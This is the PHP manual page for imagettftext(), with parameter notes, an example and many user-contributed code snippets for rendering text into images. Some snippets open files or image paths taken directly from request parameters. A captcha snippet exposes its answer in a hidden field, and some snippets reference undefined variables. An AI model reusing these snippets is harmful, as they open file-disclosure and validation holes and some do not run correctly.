The color index. Using the negative of a color index has the effect of turning off antialiasing. See imagecolorallocate().

fontfile

The path to the TrueType font you wish to use.

Depending on which version of the GD library PHP is using, when fontfile does not begin with a leading / then .ttf will be appended to the filename and the library will attempt to search for that filename along a library-defined font path.

When using versions of the GD library lower than 2.0.18, a space character, rather than a semicolon, was used as the 'path separator' for different font files. Unintentional use of this feature will result in the warning message: Warning: Could not find/open font. For these affected versions, the only solution is moving the font to a path which does not contain spaces.

In many cases where a font resides in the same directory as the script using it the following trick will alleviate any include problems.

<?php
// Set the enviroment variable for GD
putenv('GDFONTPATH=' . realpath('.'));

// Name the font to be used (note the lack of the .ttf extension)
$font = 'SomeFont';
?>

text

The text string in UTF-8 encoding.

May include decimal numeric character references (of the form: &#8364;) to access characters in a font beyond position 127. The hexadecimal format (like &#xA9;) is supported. Strings in UTF-8 encoding can be passed directly.

Named entities, such as &copy;, are not supported. Consider using html_entity_decode() to decode these named entities into UTF-8 strings (html_entity_decode() supports this as of PHP 5.0.0).

If a character is used in the string which is not supported by the font, a hollow rectangle will replace the character.

Return Values

Returns an array with 8 elements representing four points making the bounding box of the text. The order of the points is lower left, lower right, upper right, upper left. The points are relative to the text regardless of the angle, so "upper left" means in the top left-hand corner when you see the text horizontally. Returns FALSE on error.

Changelog

Version | Description
5.2.0 | It is now possible to specify an hexadecimal entity in text.

Examples

Example #1 imagettftext() example

This example script will produce a white PNG 400x30 pixels, with the words "Testing..." in black (with grey shadow), in the font Arial.

<?php
// Set the content-type
header('Content-Type: image/png');

// Create the image
$im = imagecreatetruecolor(400, 30);

// Create some colors
$white = imagecolorallocate($im, 255, 255, 255);
$grey = imagecolorallocate($im, 128, 128, 128);
$black = imagecolorallocate($im, 0, 0, 0);
imagefilledrectangle($im, 0, 0, 399, 29, $white);

// The text to draw
$text = 'Testing...';
// Replace path by your own font path
$font = 'arial.ttf';

// Add some shadow to the text
imagettftext($im, 20, 0, 11, 21, $grey, $font, $text);

// Add the text
imagettftext($im, 20, 0, 10, 20, $black, $font, $text);

// Using imagepng() results in clearer text compared with imagejpeg()
imagepng($im);
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : imagettftext()

Notes

Note:

This function requires both the GD library and the » FreeType library.

See Also

  • imagettfbbox() - Give the bounding box of a text using TrueType fonts

User Contributed Notes

john at jbwalker dot com 23-Jan-2012 08:37
This function can be tricky. To begin with the example that omits the ".ttf" from the name of the font is incorrect. I've found that I have to include it (perhaps different in Windows?).

I have also found that odd things happen if you happen to pick a font size that doesn't match one of the known fonts.

See my comment under imagecolortransparent for trying to use a transparent background with text.
mirza_aqueel_qau at hotmail dot com 26-Jul-2011 04:49
To make a font underline and bold without using the fonts file available in fonts directory of windows use this code. I hope this will help alot of you out there.

<?php
// Create the image
$im = imagecreatetruecolor(499, 330);

// Create some colors
$white = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);
imagefilledrectangle($im, 0, 0, 499, 329, $white);

// The text to draw

$text ="Muhammad Sarfraz";
$text ="Khurram Faraz";
$text ="Mohammad Imran";
$text ="Zulfiqar Ahmed Khan";
$text="Najam ul Hasnain Shah";
$text="Abdul Rehman Daniyal";
$text="Yasir Siddiqui";
$text="Sohail ur Rehman";
$text="Hamad Aziz Sheikh";
$text="Nauman Khalid";
$text="Saad Ahmed";
$text="Nasir Mehmood Butt";
$text="Mohammad Aqeel Mirza";

// Replace path by your own font path
$font = 'walt.ttf'; // Place this file in your code directory or if font is in font directory set its path with font name as $font=$path.'arial.ttf';

// Add the text
$x=10;
$y=120;
$font_size=40;
$angle=0;
$total_width=0;
$counter=0;

for($i=0; $i<strlen($text); $i++)
{
    //$text_to_write=urldecode(substr($text,$i,1)."%0D_");
    $dimensions = imagettfbbox($font_size, $angle, $font, substr($text,$i,1));
    $total_width+=($dimensions[2]);

}
echo "<pre>";
$dimensions = imagettfbbox($font_size, $angle, $font, $text);
echo "Dimension of full string=".$dimensions[2]."<br/>";

echo "Total width calcuated by algorithm=".$total_width."<br/>";
$difference=$dimensions[2]-$total_width;

echo "Difference=".$difference;
imagettftext($im, $font_size, $angle, $x+1, $y+1, $black, $font, $text);
imagettftext($im, $font_size, $angle, $x, $y, $black, $font, $text);

$x2=$x+$total_width+$difference+2;
//echo $total_width;
echo "<pre/>";
//imageline( $im , $x , $y+4 , $x2 , $y+4 , $black );
imageBoldLine($im, $x, $y+4, $x2, $y+4, $black, $BoldNess=4, $func='imageLine');

// Using imagepng() results in clearer text compared with imagejpeg()
imagepng($im,"underline.png");
echo "<img src='underline.png'/>";
imagedestroy($im);
?>
Anonymous 02-Jun-2011 01:40
If you need to render text to an exact sized image that then you will run into problems depending on the font you use.

Use the code below to render text to an image that is exactly sized to fit.

This code will also take into consideration the baseline. You can safely render seperate pieces of text and place them side by side without annoying pixel discrepencies.

<?php

    //vars
    $font = 'QuatroUltraBlack.ttf';
    $text = 'hello world!';
    $size = 40;//pt
    $color = '#ffffff';

    //over compensate dimensions!
    $cropPadding = 6;
    $fontRange = 'xgypqXi';
    $bounds = imagettfbbox($size,0,$font,$fontRange);
    $height = abs($bounds[1]-$bounds[5])+$cropPadding;
    $y = abs($bounds[7])-1;
    $bounds = imagettfbbox($size,0,$font,$text);
    $width = abs($bounds[0]-$bounds[2])+$cropPadding+$cropPadding;
    $x = ($bounds[0] * -1)+$cropPadding;

    //create transparent image
    $image = imagecreatetruecolor($width,$height);
    imagesavealpha($image, true);
    imagealphablending($image, false);
    $background = imagecolorallocatealpha($image, 255, 255, 255, 127);
    imagefilledrectangle($image, 0, 0, $width, $height, $background);
    imagealphablending($image, true);

    //make color
    $rgb = str_split(ltrim($color,'#'),2);
    $color = imagecolorallocatealpha($image,hexdec($rgb[0]),hexdec($rgb[1]),hexdec($rgb[2]),0);

    //render text to image
    imagettftext($image,$size,0,$x,$y,$color,$font,$text.'     '.$fontRange);

    //calculate crop
    $trim_bottom = 0;
    $trim_left = 0;
    $trim_right = 0;

    //bottom
    for($trim_y = $height-1;$trim_y >= 0; $trim_y--) {
        for($trim_x = 0; $trim_x < $width; $trim_x++) {
            $alpha = (imagecolorat($image, $trim_x, $trim_y) >> 24) & 0xFF;
            if($alpha != 127) { break 2; }
        }
        $trim_bottom++;
    }

    //left
    for($trim_x = 0;$trim_x < $width; $trim_x++) {
        for($trim_y = 0; $trim_y < $height; $trim_y++) {
            $alpha = (imagecolorat($image, $trim_x, $trim_y) >> 24) & 0xFF;
            if($alpha != 127) { break 2; }
        }
        $trim_left++;
    }

    //right
    for($trim_x = $width-1;$trim_x >= 0; $trim_x--) {
        for($trim_y = 0; $trim_y < $height; $trim_y++) {
            $alpha = (imagecolorat($image, $trim_x, $trim_y) >> 24) & 0xFF;
            if($alpha != 127) { break 2; }
        }
        $trim_right++;
    }

    //do crop
    if ($trim_left || $trim_right || $trim_bottom) {
        //create new image
        $newWidth = $width-$trim_left-$trim_right;
        $newHeight = $height-$trim_bottom;
        $newImage = imagecreatetruecolor($newWidth,$newHeight);
        imagesavealpha($newImage,true);
        imagealphablending($newImage, false);
        $background = imagecolorallocatealpha($newImage,255,255,255,127);
        imagefilledrectangle($newImage,0,0,$newWidth,$newHeight,$background);
        imagealphablending($newImage,true);
        imagecopyresampled($newImage,$image,$trim_left,0,0,0,$imageWidth,$imageHeight,$imageWidth,$imageHeight);

        //swap the new image
        imagedestroy($image);
        $image = $newImage;
    }

    //do something with image
    imagepng($image);

    //free image
    imagedestroy($image);

?>
contact at pointhunter dot net 28-Nov-2010 10:35
Print username on the picture from a sent variable. (u)

<?php
$USERNAME=$_REQUEST['u'];
// Set the content-type
header('Content-type: image/png');

// Create the image
$im = imagecreatetruecolor(350, 30);

// Create some colors
$white = imagecolorallocate($im, 0, 0, 0);
$grey = imagecolorallocate($im, 128, 128, 128);
$black = imagecolorallocate($im, 255, 255, 255);
imagefilledrectangle($im, 0, 0, 399, 29, $white);

// The text to draw
$text = 'Welcome, '.$USERNAME;
// Replace path by your own font path
$font = 'cour.ttf';

// Add some shadow to the text
imagettftext($im, 20, 0, 11, 21, $grey, $font, $text);

// Add the text
imagettftext($im, 20, 0, 10, 20, $black, $font, $text);

// Using imagepng() results in clearer text compared with imagejpeg()
imagepng($im);
imagedestroy($im);
?>
John Conde 01-Nov-2010 10:17
If you want to create a paragraph you will need to break your text up into lines and then place each line individually one below the next.

Here's a basic example of how to do that:

<?php
// Basic font settings
$font ='./times.ttf';
$font_size = 15;
$font_color =  0x000000

// Text to be placed as a paragraph
$text = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer non nunc lectus. Curabitur hendrerit bibendum enim dignissim tempus. Suspendisse non ipsum auctor metus consectetur eleifend. Fusce cursus ullamcorper sem nec ultricies. Aliquam erat volutpat. Vivamus massa justo, pharetra et sodales quis, rhoncus in ligula. Integer dolor velit, ultrices in iaculis nec, viverra ut nunc.';

// Break it up into pieces 125 characters long
$lines = explode('|', wordwrap($text, 115, '|'));

// Starting Y position
$y = 513;

// Loop through the lines and place them on the image
foreach ($lines as $line)
{
    imagettftext($image, $font_size, 0, 50, $y, $font_color, $font, $line);

    // Increment Y so the next line is below the previous line
    $y += 23;
}

?>
eboyjr 30-Sep-2010 01:12
You may want to be able to extract the name of the font with the font file. If so you can use this class I've developed. It only works with TTF fonts, not OpenType fonts. It has worked with all fonts that I have tested so far. Not extensively tested. There may be some character set issues but that is up to someone else to fix :) And sorry I had to strip a lot of the comments so that I could post it.

<?php
/**
 * TTFReader
 * Gives you name information of TTF font files.
 * Thanks to Apple, for their TTF specification.
 *
 * @name TTFReader
 * @author Devin Samarin <eboyjr14@gmail.com>
 */
class TTFReader {

    private $handle;
    private $is_parsed = false;

    private $info = false;

    private $name_ids = array(
        0 => "copyright",
        1 => "font_family",
        2 => "font_subfamily",
        3 => "unique_id",
        4 => "full_name",
        5 => "version",
        6 => "postscript_name",
        7 => "trademark",
        8 => "manufacturer",
        9 => "designer",
        10 => "description",
        11 => "vendor_url",
        12 => "designer_url",
        13 => "license",
        14 => "license_url",
        16 => "preferred_family",
        17 => "preferred_subfamily",
        18 => "compatible_full",
        19 => "sample_text"
    );

    private function translate_name_id($id) {
        if( isset($this->name_ids[$id]) ) return $this->name_ids[$id];
        return $id;
    }

    public function open($filename) {
        $this->handle = fopen($filename, "r");
    }

    public function close() {
        if( !$this->handle ) return false;
        fclose($this->handle);
    }

    public function info() {
        if( $this->is_parsed ) { return $this->info; }
        $this->is_parsed = true;
        if( !$this->handle ) return false;
        $info = array();
        $ttf_header = unpack(
            "nmajor_version/" .
            "nminor_version/" .
            "nnumber_of_tables/" .
            "nsearch_range/" .
            "nentry_selector/" .
            "nrange_shift", fread($this->handle, 12));
        if( $ttf_header['major_version'] != 1 || $ttf_header['minor_version'] != 0 ) {
            return false;
        }
        $ttf_found = false;
        for( $i = 0; $i < $ttf_header['number_of_tables']; $i++ ) {
            $ttf_table_name = fread($this->handle, 4);
            $ttf_table = unpack("Nchecksum/" .
                "Noffset/" .
                "Nlength", fread($this->handle, 12));
            if( $ttf_table_name == 'name' ) {
                $ttf_found = true;
                break;
            }
        }
        if( $ttf_found ) {
            fseek($this->handle, $ttf_table['offset']);
            $ttf_table['header'] =
                unpack("nformat_selector/" .
                    "nname_records_count/" .
                    "nstorage_offset", fread($this->handle, 6));
            $ttf_name_records = array();
            for( $i = 0; $i < $ttf_table['header']['name_records_count']; $i++ ) {
                $ttf_record =
                    unpack("nplatform_id/" .
                        "nencoding_id/" .
                        "nlanguage_id/" .
                        "nname_id/" .
                        "nlength/" .
                        "noffset", fread($this->handle, 12));
                if( $ttf_record['length'] <= 0 ) continue;
                $ttf_record_offset = ftell($this->handle);
                fseek($this->handle,
                    $ttf_table['offset'] +
                    $ttf_table['header']['storage_offset'] +
                    $ttf_record['offset']);
                $ttf_value = fread($this->handle, $ttf_record['length']);
                if( $ttf_record['platform_id'] != 1 ) $ttf_value = @iconv('UTF-16be', 'UTF-8//TRANSLIT', $ttf_value);
                $info[$this->translate_name_id($ttf_record['name_id'])] = $ttf_value;
                fseek($this->handle, $ttf_record_offset);
            }
        } else {
            return false;
        }
        return $this->info = $info;
    }
}
?>

Here an example with Arial, since that's everyone's favorite font:
<?php
$ttf = new TTFReader();
$ttf->open("arial.ttf");
$info = $ttf->info();
print_r($info); // $info["full_name"] will give you the name of the font, but check if it is set first!
$ttf->close();
?>
eee ess c p 9 9 AT yahoo DOT com 29-Sep-2010 03:46
If you get letters cut off (clipped) by adjacent letters when using imagettftext with transparency (i.e., imagealphablending set to false), try setting imagealphablending back to TRUE before calling the imagettftext function.

<?php
$im = imagecreatetruecolor(300, 300);

imagealphablending($im, false);
imagesavealpha($im, true);

// Create colors and draw transparent background
$trans = imagecolorallocatealpha($im, 255, 255, 255, 127);
$black = imagecolorallocate($im, 0, 0, 0);
imagefilledrectangle($im, 0, 0, 299, 299, $trans);

// Bad text
imagettftext($im, 22, 0, 50, 100, $black, 'arial.ttf', 'Bad: Oj Pj wj');

// Good text
imagealphablending($im, true);
imagettftext($im, 22, 0, 50, 150, $black, 'arial.ttf', 'Good: Oj Pj wj');

/*** You'll need a copy of the arial.ttf font file in the same location as the PHP script ***/

// Output PNG
header("Content-type: image/png");
imagepng($im);
imagedestroy($im);
?>
barnaby at waterpigs dot co dot uk 03-Aug-2010 04:46
Just created a HTML5 Video Poster Image generator in PHP - code is below if anyone wants to use.  It's heavily commented, so you should be able to adjust it easily.  It puts a transparent black bar along the top of an image, and writes some text in white over it - easily readable and applicable to most images.

<?php

// PHP File used to quickly put some text over a poster image - for video or other.

// To use:  Use this file as the source file of an image.  Pass it two GET variables:  pat=path of image&text=text to overlay

header("Content-Type: image/jpeg");

// Open the image:

$image = imagecreatefromjpeg($_SERVER['DOCUMENT_ROOT'] . $_GET['path']);

$width = imagesx($image); // Gets the width - better to use imagesx here as we don't need to feed it a path, just a handle.

$rectCol = imagecolorallocatealpha($image, 0, 0, 0, 40); // Create a black colour, slightly transparent
$textCol = imagecolorallocate($image, 255, 255, 255); // Create a white colour

// Fill the top of the image with this rectangle...

imagefilledrectangle($image, 0, 0, $width, 50, $rectCol);

$textX = 10;
$textY = 32; // X and Y values for the text generation

$font = $_SERVER['DOCUMENT_ROOT'] . '/site/fonts/Verdana.ttf'; // Replace this with the path to your font file.

// Write Text:

imagettftext($image, 18, 0, $textX, $textY, $textCol, $font, $_GET['text']);

// Now we're done editing... output the final image:

imagejpeg($image);

// Free up some space:

imagedestroy($image);

?>
Endeer 12-Jun-2010 04:22
If latin characters with accents don't work for you (blank characters or rectangles), then it may be perhaps caused by PHP being compiled with --enable-gd-jis-conv. Verified on PHP 5.2.13.
Amir 06-May-2010 06:09
In order to pass text of RTL language to imagettftext function, I used this function.

<?php
    function revUni($text) {

        $wordsArray = explode(" ", $text);

        $rtlCompleteText='';
        for ($i = sizeOf($wordsArray); $i > -1; $i = $i-1) {

            //$lettersArray = explode("|", str_replace(";|", ";", $wordsArray[$i]));
            $lettersArray = explode(";", $wordsArray[$i]);

            $rtlWord='';
            for ($k = sizeOf($lettersArray); $k > -1; $k = $k-1) {
                if (strlen($lettersArray[$k]) > 1) { // make sure its full unicode letter
                    $rtlWord = $rtlWord."".$lettersArray[$k].";";
                }
            }

            $rtlCompleteText = $rtlCompleteText." ".$rtlWord;

        }

        return $rtlCompleteText;
    }
?>
mail at miikku dot de 22-Mar-2010 07:43
Because the text generated this way is not the same quality in all resolutions, i thought about a method to make it best quality without high resolution. So i wrote this simple code wich should do something like multisampling... Here it is (the $iMultiSampling parameter is the quality - multiplicator of multisampling):
<?php
function imagettftextmultisampled(&$hImg, $iSize, $sAngle, $iX, $iY, $cColor, $sFont, $sText, $iMultiSampling){
 $iWidth  = imagesx($hImg);
 $iHeight = imagesy($hImg);
 $hImgCpy = imagecreatetruecolor(ceil($iWidth*$iMultiSampling), ceil($iHeight*$iMultiSampling));
 $cColor  = imagecolorsforindex($hImg, $cColor);
 $cColor  = imagecolorallocatealpha($hImgCpy, $cColor['red'], $cColor['green'], $cColor['blue'], $cColor['alpha']);
 imagesavealpha($hImgCpy, true);
 imagealphablending($hImgCpy, false);
 $cTransparent = imagecolortransparent($hImgCpy, imagecolorallocatealpha($hImgCpy, 0, 0, 0, 127));
 imagefill($hImgCpy, 0, 0, $cTransparent);
 $aBox = imagettftext($hImgCpy, $iSize*$iMultiSampling, $sAngle, ceil($iX*$iMultiSampling), ceil($iY*$iMultiSampling), $cColor, $sFont, $sText);
 imagecopyresampled($hImg, $hImgCpy, 0, 0, 0, 0, $iWidth, $iHeight, ceil($iWidth*$iMultiSampling), ceil($iHeight*$iMultiSampling));
 imagedestroy($hImgCpy);
 foreach($aBox as $iKey => $iCoordinate)
  $aBox[$iKey] = $iCoordinate/$iMultiSampling;
 return($aBox);
}

function imagettfbboxmultisampled($iSize, $iAngle, $sFont, $sText, $iMultiSampling){
 $aBox = imagettfbbox($iSize*$iMultiSampling, $iAngle, $sFont, $sText);
 foreach($aBox as $iKey => $iCoordinate)
  $aBox[$iKey] = $iCoordinate/$iMultiSampling;
 return($aBox);
}
?>
JohnB 28-Feb-2010 11:58
Just in case you were--like me--unaware of this, in Windows, ttf fonts don't necessarily antialias at all font sizes. Arial appears to work at all sizes but Calibri, for example, only antialiases at a point size of 8 and then at all sizes 16 and up. Not only that but at fonts sizes like 10 and 12 characters don't print at the expected angle: the characters are all printed upright on an angled baseline.
adam at worldwrestlingmania dot cjb dot net 05-Dec-2009 08:35
Here's a good number verification captcha i just made:

1. on the page/s it will be used on, enter:
<?php
$pageToGo = "http://example.com/" #the page to go to if captcha correct
if ($_POST["captchaused"] == "true")
{
if ($_POST["numcaptcha"] == $_POST["captcha"])
{
header('Location: ' . $pageToGo);
}
else
{
echo '<form action="' . $_SERVER['php_self'] . '" method="post">';
$text = mt_rand();
echo '<input type="hidden" name="captchaused" value="true" />';
echo '<input type="hidden" name="numcaptcha" value="' . $text . '" />';
echo 'Enter the numbers you see: <br><input type="text" name="captcha" />';
require_once('numcaptcha.php');
echo '<input type="submit" value="enter site" /></form>';
}
?>

2. create a page called numcaptcha.php and enter:
<?php
header('Content-type: image/png');
$im = imagecreatetruecolor(400, 30);
$white = imagecolorallocate($im, 255, 255, 255);
$grey = imagecolorallocate($im, 128, 128, 128);
$black = imagecolorallocate($im, 0, 0, 0);
imagefilledrectangle($im, 0, 0, 399, 29, $white);
imagettftext($im, 20, 0, 11, 21, $grey, $font, $text);
imagettftext($im, 20, 0, 10, 20, $black, $font, $text);
imagepng($im);
imagedestroy($im);
?>

it might have a few security issues but it still works fine.
web at evanreeves dot com 22-May-2009 12:50
I was having trouble trying to render non antialiased text using a pixel font. The tips about setting a negative value for the color are valid, but I was still having trouble with the text I was trying to render because it was black. I discovered that if I changed the imagecolorallocate() function from:

$color = imagecolorallocate($base, 0, 0, 0);

to

$color = imagecolorallocate($base, 1, 1, 1); (near black)

and then used the negative value for the color in imagettftext(), it would work properly. The difference is that my first implementation set $color = 0. Obviously, you can't have $color = -0, it made no difference. When I switched to (1,1,1) it became $color = 1 which I could take a negative value for.
nadavkav at gmail dot com 21-May-2009 05:32
for passing hebrew (and maybe other rtl language text) you can use the following code (as suggested by udi and which worked for me) :
<?php
$returnedtext = iconv("ISO-8859-8", "UTF-8", hebrev(iconv("UTF-8", "ISO-8859-8", $originaltext)));
?>
philip at webdesco dot com 29-Apr-2009 05:51
Hi,
for the dummies (like myself) if you are having problems including your font file, prefix the file name with ./

On my development server the following worked fine
$myfont = "coolfont.ttf";

on my hosting server the only way i could get the font to work was as follows
$myfont = "./coolfont.ttf";

hope this helps someone out!
ben at spooty dot net 11-Mar-2009 06:40
Here's a simple function to wrap text going into an image. It'll wrap onto as many lines as it needs to, but $angle has to be zero. The $width parameter is the width of the image.

<?php
function wrap($fontSize, $angle, $fontFace, $string, $width){

    $ret = "";

    $arr = explode(' ', $string);

    foreach ( $arr as $word ){

        $teststring = $ret.' '.$word;
        $testbox = imagettfbbox($fontSize, $angle, $fontFace, $teststring);
        if ( $testbox[2] > $width ){
            $ret.=($ret==""?"":"\n").$word;
        } else {
            $ret.=($ret==""?"":' ').$word;
        }
    }

    return $ret;
}
?>
roland dot hentschel at t-online dot de 21-Nov-2008 03:53
Hi!

I played around with that multi-line-script "makeImageF".
Added some features, mainly: you can read text-files
or add text as parameter - eg :
imagettftext.php?file=test.txt
imagettftext.php?text=hello|world!

have fun!

======================================

<?php

/*
 * @name: makeImageF
 * http://de3.php.net/manual/en/function.imagettftext.php#77739
 *
 * @param String $file : Textfile.
 * @param String $text : Text (New Line : "|").
 * @param String $font : Font name.
 * @param int $fsize: Font size.
 * @param int $pos : Justify (0-Left, 1-Right, 2-Center).
 * @param int $Leading : Space between lines.
 * @param int $W: Width of the Image.
 * @param int $H: Hight of the Image.
 * @param int $X: x-coordinate of the text into the image.
 * @param int $Y: y-coordinate of the text into the image.
 * @param array $rgb: RGB color array for text & background color.
 *
 */

$type = $_REQUEST['type']  ? $_REQUEST['type'] : "png";
switch($type) {
 case "gif" :
    header("Content-type: image/gif");
    imageGIF(imagettfpostext($text, $font,
    $fsize, $pos, $rgb),"wm.gif", 9); break;
 case "png" :
    header("Content-type: image/png");
    imagePNG(imagettfpostext($text, $font,
    $fsize, $pos, $rgb),"wm.png", 9); break;
}

function rgb2hex($rgb) {
  $color = array("black"=>"#000", "grn"=>"#090",
  "red"=>"#f00", "blu"=>"00f");
  $trans = array("a"=>"10", "b"=>"11", "c"=>"12",
  "d"=>"13", "e"=>"14", "f"=>"15");
  $hex = array();
  $rgb = str_replace("#","",
    str_replace(array_keys($color), array_values($color), strtolower($rgb)));
  for ($x=0; $x<strlen($rgb); $x++)
  $hex[] = strtr($rgb[$x],$trans);
  if (count($hex)==3) {
    $hex[5] = $hex[2]; $hex[4] = $hex[2];
    $hex[3] = $hex[1]; $hex[2] = $hex[1];
    $hex[1] = $hex[0];
  };
  $hex = ($hex[0]*16+$hex[1])
  ."x".($hex[2]*16+$hex[3])
  ."x".($hex[4]*16+$hex[5]);
  return $hex;
}

$file  = $_GET['file']
? $_GET['file'] : "logo.txt";
if ($_GET['file']) {
  $fp = @fopen($file, "r");
  while (!feof($fp)) $text .= fgets($fp);  fclose($fp);
} else $text = str_replace("|","\n",$_GET['text']);
$pos   = $_GET['pos']
? $_GET['pos'] : 0;
$font  = $_GET['font']
? "./fonts/".$_GET['font'].".ttf" : "./fonts/verdana.ttf";
$fsize = $_GET['fsize']
? $_GET['fsize'] : 12;
$rgb   = $_GET['rgb']
? $_GET['rgb'] : "#ff9,#393";

imagepng(imagettfpostext($text, $font, $fsize, $pos, $rgb));

function imagettfpostext($text, $font, $fsize, $pos, $rgb,
    $Leading=0, $W=0, $H=0, $X=0, $Y=0) {
  $angle = 0;
  $_bx = imageTTFBbox($fsize,0,$font,$text);
  $str = split("[\n]+",$text);
  $nL  = count($str);
  $W   = ($W==0)
  ? abs($_bx[2]-$_bx[0])
  : $W;
  $H = ($H==0)
  ? abs($_bx[5]-$_bx[3])+($nL>1
  ? ($nL*$Leading)
  : 0)
  : $H;
  $im = @imagecreate($W, $H)
  or die("Cannot Initialize new GD image stream");
  $rgb = explode(",",$rgb);
  $tc  = explode("x",rgb2hex($rgb[1]));
  $bc=explode("x",rgb2hex($rgb[0]));
  $bc  = imagecolorallocate($im, $bc[0], $bc[1], $bc[2]);
  $tc  = imagecolorallocate($im, $tc[0], $tc[1], $tc[2]);
  if ($pos == 0) {
    imagettftext($im, $fsize, $angle, $X,
    $fsize, $tc, $font, $text);
  } else {
    $alpha = range("a", "z");
    $alpha = $alpha.strtoupper($alpha).range(0, 9);
    $_b = imageTTFBbox($fsize, 0, $font, $alpha);
    $_H = abs($_b[5]-$_b[3]);
    $__H = 0;
    for ($i=0; $i<$nL; $i++) {
      $_b = imageTTFBbox($fsize, 0, $font, $str[$i]);
      $_W = abs($_b[2]-$_b[0]);
      if ($pos == 1) $_X = $W-$_W;
      else $_X = abs($W/2)-abs($_W/2);
      $__H += $_H;
      imagettftext($im, $fsize, $angle, $_X, $__H,
      $tc, $font, $str[$i]);
      $__H += $Leading;
    }
  }

  if ($_REQUEST["trans"]) {
   $bg_color = ImageColorAt($im,1,1);
   ImageColorTransparent($im, $bg_color);
  }

  return $im;
}

?>
cameron at prolifique dot com 02-Oct-2008 08:59
"php at yvanrodrigues dot com" is right...this function is not reliable on extended characters. User beware.

In my case, it produced different results with OpenType vs. TrueType versions of the same font. (Converted my OT font to TT using FontForge as suggested. Strangely, the resulting TT font file was twice as big as the OT version and didn't look the same...heavier weight and slightly different spacing.) While the TT version was more accurate at displaying certain characters, neither was totally reliable, both yielding boxes in place of perfectly valid character glyphs that I could verify existed in the font. (Both fonts showed the same characters perfectly on an HTML page with UTF-8 charset.)

What's more, using this same function with the same font on our development vs. production server also produced different results: some chars worked on dev but not production. Stranger still, the font spacing and size were slightly different between the two. Font file is identical. Dev server is Linux, production server is Windows, but should that matter? Suspect it has more to do with differing versions of FreeType (2.1 vs. 1.9 respectively).

Anyway, careful with this function...best to stick within the rather small range of safe characters and avoid anything else.
php at yvanrodrigues dot com 05-Sep-2008 07:10
After many hours of failure may I suggest:

This function will work on OpenType fonts with Postscript outlines, but from what I can tell, characters > ASCII 127 do not display correctly or at all, even if the text is correctly coded as UTF-8.

Converting the font to truetype or possibly OpenType with truetype outlines; or buying the font as such fixes the problem.

I used FontForge to open the otf and export as ttf and it works perfectly.
s.pynenburg _at_ gm ail dotcom 07-Aug-2008 07:31
I had an image generator where the user could position where they wanted the text to begin - however it kept going off the side of an image. So I made this basic function: it measures if the inputted text and x-position will cause the string to go off the edge, and if so, it will fit as much as it can on the first line, then go down to the next one.
Limitations:
-It only performs this once (i.e. it won't split into three lines)
-I'm pretty sure it won't work with angled text.

<?PHP

function imagettftextwrap($im, $size, $angle, $x_pos, $y_pos, $color, $font, $instr)
{
    $box = @imagettfbbox($size, 0, $font, $instr);
    $width = abs($box[4] - $box[0]);
    $height = abs($box[3] - $box[5]);
    $overlap = (($x_pos + $width) - imagesx($im));
    if($overlap > 0) //if the text doesn't fit on the image
    {
        $chars = str_split($instr);
        $str = "";
        $pstr = "";
        for($m=0; $m < sizeof($chars); $m++)
        {
            $bo = imagettfbbox($fsize1, 0, $font1, $str);
            $wid = abs($bo[4] - $bo[0]);
            if(($x_pos + $wid) < imagesx($im)) //add one char from the string as long as it's not overflowing
            {
                $pstr .= $chars[$m];
                $bo2 = imagettfbbox($fsize1, 0, $font1, $pstr);
                $wid2 = abs($bo2[4] - $bo2[0]);
                if(($x_pos + $wid2) < imagesx($im))
                {
                    $str .= $chars[$m];
                }
                else
                {
                    break;
                }
            }
            else
            {
                break;
            }
        }
        $restof = "";
        for($l=$m; $l < sizeof($chars); $l++)
        {
            $restof .= $chars[$l]; //add the rest of the string to a new line
        }
        imagettftext($im, $size, $angle, $x_pos, $y_pos, $color, $font, $str); // print out the smaller line
        imagettftext($im, $size, $angle, 0, $y_pos + $height, $color, $font, $restof); //and the rest of it
    }
    else
    {
        imagettftext($im, $size, $angle, $x_pos, $y_pos, $color, $font, $instr); //otherwise just do normally
    }

}

?>
sk89q 01-Aug-2008 01:03
I updated my imagettftextbox function considerably. It fixes the problems of the older imagettftextbox code I uploaded a few months ago (that's now gone).

You can get it here:
http://sk89q.therisenrealm.com/2008/08/ttf-textbox-in-php/

It has both horizontal and vertical alignment, custom line spacing, borders, width, height, etc.
Stefan at colulus dot com 20-May-2008 10:40
I worked out a script the allows the transfer of alphanumeric data to be placed on an image. The HTML feature is img src and the php feature is imagettftext. This simple code will increment from 1 to 3 on images.

code:

<?php
//ImageCall.php -- This script will call a script to produce the image.
for($next = 1;$next < 4; $next++){
print "Image $next:<br>";
print "<img src = 'Image.php?\$text=$next'>";
print "<br><br>";
}
?>

<?php
//Image.php -- This script creates a square image and places the text on it.

// image size and color
$im = ImageCreate(77,77);
$color1 = ImageColorAllocate($im,0x66,0xCC,0x00);
$color2 = ImageColorAllocate($im,0x33,0x66,0x00);
$color3 = ImageColorAllocate($im,0x00,0x99,0x00);
$color4 = ImageColorAllocate($im,0x3D,0x3D,0x3D);

// image creation
ImageFilledRectangle($im,1,1,76,76,$color1);
ImageFilledpolygon($im, array (76,1,1,76,76,76),3,$color2);
ImageFilledRectangle($im,5,5,72,72,$color3);

// determine numeric center of image
$size = ImageTTFBBox(45,0,'impact',$_GET['$text']);
$X = (77 - (abs($size[2]- $size[0])))/2;
$Y = ((77 - (abs($size[5] - $size[3])))/2 + (abs($size[5] - $size[3])));

//places numeric information on image
ImageTTFText($im,45,0,($X-1),$Y,$color4,'impact',$_GET['$text']);

//returns completed image to calling script
Header('Content-Type: image/png');
Imagepng($im);

?>
Valentijn de Pagter 16-May-2008 10:13
If you're looking for easy text alignment, you need to use the imagettfbbox() command. When given the correct parameters, it will return the boundaries of your to-be-made text field in an array, which will allow you to calculate the x and y coordinate that you need to use for centering or aligning your text.

A horizontal centering example:

<?php

$tb = imagettfbbox(17, 0, 'airlock.ttf', 'Hello world!');

?>

$tb would contain:

Array
(
    [0] => 0 // lower left X coordinate
    [1] => -1 // lower left Y coordinate
    [2] => 198 // lower right X coordinate
    [3] => -1 // lower right Y coordinate
    [4] => 198 // upper right X coordinate
    [5] => -20 // upper right Y coordinate
    [6] => 0 // upper left X coordinate
    [7] => -20 // upper left Y coordinate
)

For horizontal alignment, we need to substract the "text box's" width { $tb[2] or $tb[4] } from the image's width and then substract by two.

Saying you have a 200px wide image, you could do something like this:

<?php

$x = ceil((200 - $tb[2]) / 2); // lower left X coordinate for text
imagettftext($im, 17, 0, $x, $y, $tc, 'airlock.ttf', 'Hello world!'); // write text to image

?>

